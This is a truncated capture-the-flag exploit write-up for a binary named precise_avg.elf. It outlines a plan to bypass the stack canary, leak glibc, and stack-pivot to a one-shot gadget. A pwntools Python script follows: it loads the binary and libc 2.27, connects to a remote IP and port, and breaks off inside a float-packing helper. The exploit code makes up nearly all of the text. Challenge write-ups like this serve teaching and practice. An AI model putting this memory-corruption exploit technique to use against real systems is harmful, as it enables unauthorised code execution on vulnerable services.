Jump over stack canary, leak glibc, write one shoot magic gadget and stack pivot to it.```#!/usr/bin/env python# coding: utf-8import structfrom pwn import *
elf  = ELF("precise_avg.elf")libc = ELF("/lib/x86_64-linux-gnu/libc-2.27.so")
context.arch = "amd64"context.terminal = ["tmux", "sp", "-h"]
io = remote("82.196.10.106", 12499)
def get_float(dw):    return str(struct.unpack_from("d", struct.pack("